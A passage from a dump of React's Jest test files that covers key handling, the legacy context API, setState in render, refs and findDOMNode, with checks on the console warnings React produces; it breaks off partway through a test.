root.render(<TestContainer />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should let text nodes retain their uniqueness', async () => {\n    class TestComponent extends React.Component {\n      render() {\n        return (\n          <div>\n            {this.props.children}\n            <span />\n          </div>\n        );\n      }\n    }\n\n    class TestContainer extends React.Component {\n      render() {\n        return (\n          <TestComponent>\n            <div />\n            {'second'}\n          </TestComponent>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<TestContainer />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should retain key during updates in composite components', async () => {\n    class TestComponent extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    class TestContainer extends React.Component {\n      state = {swapped: false};\n\n      swap = () => {\n        this.setState({swapped: true});\n      };\n\n      render() {\n        return (\n          <TestComponent>\n            {this.state.swapped ? this.props.second : this.props.first}\n            {this.state.swapped ? this.props.first : this.props.second}\n          </TestComponent>\n        );\n      }\n    }\n\n    const instance0 = <span key=\"A\" />;\n    const instance1 = <span key=\"B\" />;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const wrappedRef = React.createRef();\n    await act(async () => {\n      root.render(\n        <TestContainer first={instance0} second={instance1} ref={wrappedRef} />,\n      );\n    });\n    const div = container.firstChild;\n\n    const beforeA = div.firstChild;\n    const beforeB = div.lastChild;\n    await act(async () => {\n      wrappedRef.current.swap();\n    });\n    const afterA = div.lastChild;\n    const afterB = div.firstChild;\n\n    expect(beforeA).toBe(afterA);\n    expect(beforeB).toBe(afterB);\n  });\n\n  it('should not allow implicit and explicit keys to collide', async () => {\n    const component = (\n      <div>\n        <span />\n        <span key=\"0\" />\n      </div>\n    );\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(component);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should throw if key is a Temporal-like object', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n\n    const el = document.createElement('div');\n    const root = ReactDOMClient.createRoot(el);\n    await expect(() => {\n      root.render(\n        <div>\n          <span key={new TemporalLike()} />\n        </div>,\n      );\n    }).toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'The provided key is an unsupported type TemporalLike.' +\n        ' This value must be coerced to a string before using it here.',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyCompositeComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet ReactDOMClient;\nlet PropTypes;\n\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactLegacyCompositeComponent', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n    PropTypes = require('prop-types');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn about `setState` in render in legacy mode', () => {\n    const container = document.createElement('div');\n\n    let renderedState = -1;\n    let renderPasses = 0;\n\n    class Component extends React.Component {\n      state = {value: 0};\n\n      render() {\n        renderPasses++;\n        renderedState = this.state.value;\n        if (this.state.value === 0) {\n          this.setState({value: 1});\n        }\n        return <div />;\n      }\n    }\n    const instance = ReactDOM.render(<Component />, container);\n    assertConsoleErrorDev([\n      'Cannot update during an existing state transition (such as within ' +\n        '`render`). Render methods should be a pure function of props and state.\\n' +\n        '    in Component (at **)',\n    ]);\n\n    // The setState call is queued and then executed as a second pass. This\n    // behavior is undefined though so we're free to change it to suit the\n    // implementation details.\n    expect(renderPasses).toBe(2);\n    expect(renderedState).toBe(1);\n    expect(instance.state.value).toBe(1);\n\n    // Forcing a rerender anywhere will cause the update to happen.\n    const instance2 = ReactDOM.render(<Component prop={123} />, container);\n    expect(instance).toBe(instance2);\n    expect(renderedState).toBe(1);\n    expect(instance2.state.value).toBe(1);\n\n    // Test deduplication; (no additional warnings are expected).\n    ReactDOM.unmountComponentAtNode(container);\n    ReactDOM.render(<Component prop={123} />, container);\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context to children when not owner', async () => {\n    class Parent extends React.Component {\n      render() {\n        return (\n          <Child>\n            <Grandchild />\n          </Child>\n        );\n      }\n    }\n\n    class Child extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n        };\n      }\n\n      render() {\n        return React.Children.only(this.props.children);\n      }\n    }\n\n    class Grandchild extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string,\n      };\n\n      render() {\n        return <div>{this.context.foo}</div>;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let component;\n    await act(() => {\n      root.render(<Parent ref={current => (component = current)} />);\n    });\n    assertConsoleErrorDev([\n      'Child uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Grandchild uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n    expect(findDOMNode(component).innerHTML).toBe('bar');\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context when re-rendered for static child', async () => {\n    let parentInstance = null;\n    let childInstance = null;\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n        flag: PropTypes.bool,\n      };\n\n      state = {\n        flag: false,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n          flag: this.state.flag,\n        };\n      }\n\n      render() {\n        return React.Children.only(this.props.children);\n      }\n    }\n\n    class Middle extends React.Component {\n      render() {\n        return this.props.children;\n      }\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string,\n        flag: PropTypes.bool,\n      };\n\n      render() {\n        childInstance = this;\n        return <span>Child</span>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <Parent ref={current => (parentInstance = current)}>\n          <Middle>\n            <Child />\n          </Middle>\n        </Parent>,\n      );\n    });\n\n    expect(parentInstance.state.flag).toBe(false);\n    expect(childInstance.context).toEqual({foo: 'bar', flag: false});\n\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)',\n    ]);\n\n    await act(() => {\n      parentInstance.setState({flag: true});\n    });\n    expect(parentInstance.state.flag).toBe(true);\n    expect(childInstance.context).toEqual({foo: 'bar', flag: true});\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context when re-rendered for static child within a composite component', async () => {\n    class Parent extends React.Component {\n      static childContextTypes = {\n        flag: PropTypes.bool,\n      };\n\n      state = {\n        flag: true,\n      };\n\n      getChildContext() {\n        return {\n          flag: this.state.flag,\n        };\n      }\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        flag: PropTypes.bool,\n      };\n\n      render() {\n        return <div />;\n      }\n    }\n\n    class Wrapper extends React.Component {\n      parentRef = React.createRef();\n      childRef = React.createRef();\n\n      render() {\n        return (\n          <Parent ref={this.parentRef}>\n            <Child ref={this.childRef} />\n          </Parent>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let wrapper;\n    await act(() => {\n      root.render(<Wrapper ref={current => (wrapper = current)} />);\n    });\n\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Wrapper (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Wrapper (at **)',\n    ]);\n\n    expect(wrapper.parentRef.current.state.flag).toEqual(true);\n    expect(wrapper.childRef.current.context).toEqual({flag: true});\n\n    // We update <Parent /> while <Child /> is still a static prop relative to this update\n    await act(() => {\n      wrapper.parentRef.current.setState({flag: false});\n    });\n\n    expect(wrapper.parentRef.current.state.flag).toEqual(false);\n    expect(wrapper.childRef.current.context).toEqual({flag: false});\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context transitively', async () => {\n    let childInstance = null;\n    let grandchildInstance = null;\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n        depth: PropTypes.number,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n          depth: 0,\n        };\n      }\n\n      render() {\n        return <Child />;\n      }\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string,\n        depth: PropTypes.number,\n      };\n\n      static childContextTypes = {\n        depth: PropTypes.number,\n      };\n\n      getChildContext() {\n        return {\n          depth: this.context.depth + 1,\n        };\n      }\n\n      render() {\n        childInstance = this;\n        return <Grandchild />;\n      }\n    }\n\n    class Grandchild extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string,\n        depth: PropTypes.number,\n      };\n\n      render() {\n        grandchildInstance = this;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Child uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Grandchild uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Child (at **)\\n' +\n        '    in Parent (at **)',\n    ]);\n\n    expect(childInstance.context).toEqual({foo: 'bar', depth: 0});\n    expect(grandchildInstance.context).toEqual({foo: 'bar', depth: 1});\n  });\n\n  // @gate !disableLegacyContext\n  it('should pass context when re-rendered', async () => {\n    let parentInstance = null;\n    let childInstance = null;\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n        depth: PropTypes.number,\n      };\n\n      state = {\n        flag: false,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n          depth: 0,\n        };\n      }\n\n      render() {\n        let output = <Child />;\n        if (!this.state.flag) {\n          output = <span>Child</span>;\n        }\n        return output;\n      }\n    }\n\n    class Child extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string,\n        depth: PropTypes.number,\n      };\n\n      render() {\n        childInstance = this;\n        return <span>Child</span>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent ref={current => (parentInstance = current)} />);\n    });\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n\n    expect(childInstance).toBeNull();\n\n    expect(parentInstance.state.flag).toBe(false);\n    await act(() => {\n      parentInstance.setState({flag: true});\n    });\n    assertConsoleErrorDev([\n      'Child uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n    ]);\n\n    expect(parentInstance.state.flag).toBe(true);\n\n    expect(childInstance.context).toEqual({foo: 'bar', depth: 0});\n  });\n\n  // @gate !disableLegacyContext\n  // @gate !disableLegacyMode\n  it('unmasked context propagates through updates', () => {\n    class Leaf extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        expect('foo' in nextContext).toBe(true);\n      }\n\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        expect('foo' in nextContext).toBe(true);\n        return true;\n      }\n\n      render() {\n        return <span>{this.context.foo}</span>;\n      }\n    }\n\n    class Intermediary extends React.Component {\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        expect('foo' in nextContext).toBe(false);\n      }\n\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        expect('foo' in nextContext).toBe(false);\n        return true;\n      }\n\n      render() {\n        return <Leaf />;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n\n      getChildContext() {\n        return {\n          foo: this.props.cntxt,\n        };\n      }\n\n      render() {\n        return <Intermediary />;\n      }\n    }\n\n    const div = document.createElement('div');\n    ReactDOM.render(<Parent cntxt=\"noise\" />, div);\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Leaf uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Intermediary (at **)\\n' +\n        '    in Parent (at **)',\n    ]);\n    expect(div.children[0].innerHTML).toBe('noise');\n    div.children[0].innerHTML = 'aliens';\n    div.children[0].id = 'aliens';\n    expect(div.children[0].innerHTML).toBe('aliens');\n    expect(div.children[0].id).toBe('aliens');\n    ReactDOM.render(<Parent cntxt=\"bar\" />, div);\n    expect(div.children[0].innerHTML).toBe('bar');\n    expect(div.children[0].id).toBe('aliens');\n  });\n\n  // @gate !disableLegacyContext\n  // @gate !disableLegacyMode\n  it('should trigger componentWillReceiveProps for context changes', () => {\n    let contextChanges = 0;\n    let propChanges = 0;\n\n    class GrandChild extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        expect('foo' in nextContext).toBe(true);\n\n        if (nextProps !== this.props) {\n          propChanges++;\n        }\n\n        if (nextContext !== this.context) {\n          contextChanges++;\n        }\n      }\n\n      render() {\n        return <span className=\"grand-child\">{this.props.children}</span>;\n      }\n    }\n\n    class ChildWithContext extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        expect('foo' in nextContext).toBe(true);\n\n        if (nextProps !== this.props) {\n          propChanges++;\n        }\n\n        if (nextContext !== this.context) {\n          contextChanges++;\n        }\n      }\n\n      render() {\n        return <div className=\"child-with\">{this.props.children}</div>;\n      }\n    }\n\n    class ChildWithoutContext extends React.Component {\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        expect('foo' in nextContext).toBe(false);\n\n        if (nextProps !== this.props) {\n          propChanges++;\n        }\n\n        if (nextContext !== this.context) {\n          contextChanges++;\n        }\n      }\n\n      render() {\n        return <div className=\"child-without\">{this.props.children}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n\n      state = {\n        foo: 'abc',\n      };\n\n      getChildContext() {\n        return {\n          foo: this.state.foo,\n        };\n      }\n\n      render() {\n        return <div className=\"parent\">{this.props.children}</div>;\n      }\n    }\n\n    const div = document.createElement('div');\n\n    let parentInstance = null;\n    ReactDOM.render(\n      <Parent ref={inst => (parentInstance = inst)}>\n        <ChildWithoutContext>\n          A1\n          <GrandChild>A2</GrandChild>\n        </ChildWithoutContext>\n\n        <ChildWithContext>\n          B1\n          <GrandChild>B2</GrandChild>\n        </ChildWithContext>\n      </Parent>,\n      div,\n    );\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'GrandChild uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in GrandChild (at **)',\n      'ChildWithContext uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in ChildWithContext (at **)',\n    ]);\n\n    parentInstance.setState({\n      foo: 'def',\n    });\n\n    expect(propChanges).toBe(0);\n    expect(contextChanges).toBe(3); // ChildWithContext, GrandChild x 2\n  });\n\n  // @gate !disableLegacyMode\n  it('only renders once if updated in componentWillReceiveProps in legacy mode', () => {\n    let renders = 0;\n\n    class Component extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillReceiveProps(props) {\n        expect(props.update).toBe(1);\n        expect(renders).toBe(1);\n        this.setState({updated: true});\n        expect(renders).toBe(1);\n      }\n\n      render() {\n        renders++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component update={0} />, container);\n    expect(renders).toBe(1);\n    expect(instance.state.updated).toBe(false);\n    ReactDOM.render(<Component update={1} />, container);\n    expect(renders).toBe(2);\n    expect(instance.state.updated).toBe(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('only renders once if updated in componentWillReceiveProps when batching in legacy mode', () => {\n    let renders = 0;\n\n    class Component extends React.Component {\n      state = {updated: false};\n\n      UNSAFE_componentWillReceiveProps(props) {\n        expect(props.update).toBe(1);\n        expect(renders).toBe(1);\n        this.setState({updated: true});\n        expect(renders).toBe(1);\n      }\n\n      render() {\n        renders++;\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const instance = ReactDOM.render(<Component update={0} />, container);\n    expect(renders).toBe(1);\n    expect(instance.state.updated).toBe(false);\n    ReactDOM.unstable_batchedUpdates(() => {\n      ReactDOM.render(<Component update={1} />, container);\n    });\n    expect(renders).toBe(2);\n    expect(instance.state.updated).toBe(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('should update refs if shouldComponentUpdate gives false in legacy mode', () => {\n    class Static extends React.Component {\n      shouldComponentUpdate() {\n        return false;\n      }\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    class Component extends React.Component {\n      static0Ref = React.createRef();\n      static1Ref = React.createRef();\n\n      render() {\n        if (this.props.flipped) {\n          return (\n            <div>\n              <Static ref={this.static0Ref} key=\"B\">\n                B (ignored)\n              </Static>\n              <Static ref={this.static1Ref} key=\"A\">\n                A (ignored)\n              </Static>\n            </div>\n          );\n        } else {\n          return (\n            <div>\n              <Static ref={this.static0Ref} key=\"A\">\n                A\n              </Static>\n              <Static ref={this.static1Ref} key=\"B\">\n                B\n              </Static>\n            </div>\n          );\n        }\n      }\n    }\n\n    const container = document.createElement('div');\n    const comp = ReactDOM.render(<Component flipped={false} />, container);\n    expect(findDOMNode(comp.static0Ref.current).textContent).toBe('A');\n    expect(findDOMNode(comp.static1Ref.current).textContent).toBe('B');\n\n    // When flipping the order, the refs should update even though the actual\n    // contents do not\n    ReactDOM.render(<Component flipped={true} />, container);\n    expect(findDOMNode(comp.static0Ref.current).textContent).toBe('B');\n    expect(findDOMNode(comp.static1Ref.current).textContent).toBe('A');\n  });\n\n  // @gate !disableLegacyMode\n  it('should allow access to findDOMNode in componentWillUnmount in legacy mode', () => {\n    let a = null;\n    let b = null;\n\n    class Component extends React.Component {\n      componentDidMount() {\n        a = findDOMNode(this);\n        expect(a).not.toBe(null);\n      }\n\n      componentWillUnmount() {\n        b = findDOMNode(this);\n        expect(b).not.toBe(null);\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    expect(a).toBe(container.firstChild);\n    ReactDOM.render(<Component />, container);\n    ReactDOM.unmountComponentAtNode(container);\n    expect(a).toBe(b);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  // @gate !disableLegacyMode\n  it('context should be passed down from the parent', () => {\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n        };\n      }\n\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    class Component extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const div = document.createElement('div');\n    ReactDOM.render(\n      <Parent>\n        <Component />\n      </Parent>,\n      div,\n    );\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Parent (at **)',\n      'Component uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should replace state in legacy mode', async () => {\n    class Moo extends React.Component {\n      state = {x: 1};\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let moo;\n    await act(() => {\n      root.render(<Moo ref={current => (moo = current)} />);\n    });\n\n    // No longer a public API, but we can test that it works internally by\n    // reaching into the updater.\n    await act(() => {\n      moo.updater.enqueueReplaceState(moo, {y: 2});\n    });\n    expect('x' in moo.state).toBe(false);\n    expect(moo.state.y).toBe(2);\n  });\n\n  it('should support objects with prototypes as state in legacy mode', async () => {\n    const NotActuallyImmutable = function (str) {\n      this.str = str;\n    };\n    NotActuallyImmutable.prototype.amIImmutable = function () {\n      return true;\n    };\n    class Moo extends React.Component {\n      state = new NotActuallyImmutable('first');\n      // No longer a public API, but we can test that it works internally by\n      // reaching into the updater.\n      _replaceState = update => this.updater.enqueueReplaceState(this, update);\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let moo;\n    await act(() => {\n      root.render(<Moo ref={current => (moo = current)} />);\n    });\n\n    expect(moo.state.str).toBe('first');\n    expect(moo.state.amIImmutable()).toBe(true);\n\n    const secondState = new NotActuallyImmutable('second');\n    await act(() => {\n      moo._replaceState(secondState);\n    });\n    expect(moo.state.str).toBe('second');\n    expect(moo.state.amIImmutable()).toBe(true);\n    expect(moo.state).toBe(secondState);\n\n    await act(() => {\n      moo.setState({str: 'third'});\n    });\n    expect(moo.state.str).toBe('third');\n    // Here we lose the prototype.\n    expect(moo.state.amIImmutable).toBe(undefined);\n\n    // When more than one state update is enqueued, we have the same behavior\n    const fifthState = new NotActuallyImmutable('fifth');\n    await act(() => {\n      moo.setState({str: 'fourth'});\n      moo._replaceState(fifthState);\n    });\n    expect(moo.state).toBe(fifthState);\n\n    // When more than one state update is enqueued, we have the same behavior\n    const sixthState = new NotActuallyImmutable('sixth');\n    await act(() => {\n      moo._replaceState(sixthState);\n      moo.setState({str: 'seventh'});\n    });\n    expect(moo.state.str).toBe('seventh');\n    expect(moo.state.amIImmutable).toBe(undefined);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not warn about unmounting during unmounting in legacy mode', () => {\n    const container = document.createElement('div');\n    const layer = document.createElement('div');\n\n    class Component extends React.Component {\n      componentDidMount() {\n        ReactDOM.render(<div />, layer);\n      }\n\n      componentWillUnmount() {\n        ReactDOM.unmountComponentAtNode(layer);\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    class Outer extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    ReactDOM.render(\n      <Outer>\n        <Component />\n      </Outer>,\n      container,\n    );\n    ReactDOM.render(<Outer />, container);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyContextDisabled-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactFeatureFlags;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactLegacyContextDisabled', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.disableLegacyContext = true;\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  function formatValue(val) {\n    if (val === null) {\n      return 'null';\n    }\n    if (val === undefined) {\n      return 'undefined';\n    }\n    if (typeof val === 'string') {\n      return val;\n    }\n    return JSON.stringify(val);\n  }\n\n  it('warns for legacy context', async () => {\n    class LegacyProvider extends React.Component {\n      static childContextTypes = {\n        foo() {},\n      };\n      getChildContext() {\n        return {foo: 10};\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    const lifecycleContextLog = [];\n    class LegacyClsConsumer extends React.Component {\n      static contextTypes = {\n        foo() {},\n      };\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n        return true;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      render() {\n        return formatValue(this.context);\n      }\n    }\n\n    function LegacyFnConsumer(props, context) {\n      return formatValue(context);\n    }\n    LegacyFnConsumer.contextTypes = {foo() {}};\n\n    function RegularFn(props, context) {\n      return formatValue(context);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <LegacyProvider>\n          <span>\n            <LegacyClsConsumer />\n            <LegacyFnConsumer />\n            <RegularFn />\n          </span>\n        </LegacyProvider>,\n      );\n    });\n    assertConsoleErrorDev([\n      'LegacyProvider uses the legacy childContextTypes API which was removed in React 19. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyProvider (at **)',\n      'LegacyClsConsumer uses the legacy contextTypes API which was removed in React 19. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyClsConsumer (at **)',\n      'LegacyFnConsumer uses the legacy contextTypes API which was removed in React 19. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyFnConsumer (at **)',\n    ]);\n    expect(container.textContent).toBe('{}undefinedundefined');\n    expect(lifecycleContextLog).toEqual([]);\n\n    // Test update path.\n    await act(() => {\n      root.render(\n        <LegacyProvider>\n          <span>\n            <LegacyClsConsumer />\n            <LegacyFnConsumer />\n            <RegularFn />\n          </span>\n        </LegacyProvider>,\n      );\n    });\n    expect(container.textContent).toBe('{}undefinedundefined');\n    expect(lifecycleContextLog).toEqual([{}, {}, {}]);\n    root.unmount();\n\n    // test server path.\n    const text = ReactDOMServer.renderToString(\n      <LegacyProvider>\n        <span>\n          <LegacyClsConsumer />\n          <LegacyFnConsumer />\n          <RegularFn />\n        </span>\n      </LegacyProvider>,\n      container,\n    );\n    assertConsoleErrorDev([\n      'LegacyProvider uses the legacy childContextTypes API which was removed in React 19. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyProvider (at **)',\n      'LegacyClsConsumer uses the legacy contextTypes API which was removed in React 19. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyClsConsumer (at **)',\n      'LegacyFnConsumer uses the legacy contextTypes API which was removed in React 19. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in LegacyFnConsumer (at **)',\n    ]);\n    expect(text).toBe('<span>{}<!-- -->undefined<!-- -->undefined</span>');\n    expect(lifecycleContextLog).toEqual([{}, {}, {}]);\n  });\n\n  it('renders a tree with modern context', async () => {\n    const Ctx = React.createContext();\n\n    class Provider extends React.Component {\n      render() {\n        return (\n          <Ctx.Provider value={this.props.value}>\n            {this.props.children}\n          </Ctx.Provider>\n        );\n      }\n    }\n\n    class RenderPropConsumer extends React.Component {\n      render() {\n        return <Ctx.Consumer>{value => formatValue(value)}</Ctx.Consumer>;\n      }\n    }\n\n    const lifecycleContextLog = [];\n    class ContextTypeConsumer extends React.Component {\n      static contextType = Ctx;\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n        return true;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      render() {\n        return formatValue(this.context);\n      }\n    }\n\n    function FnConsumer() {\n      return 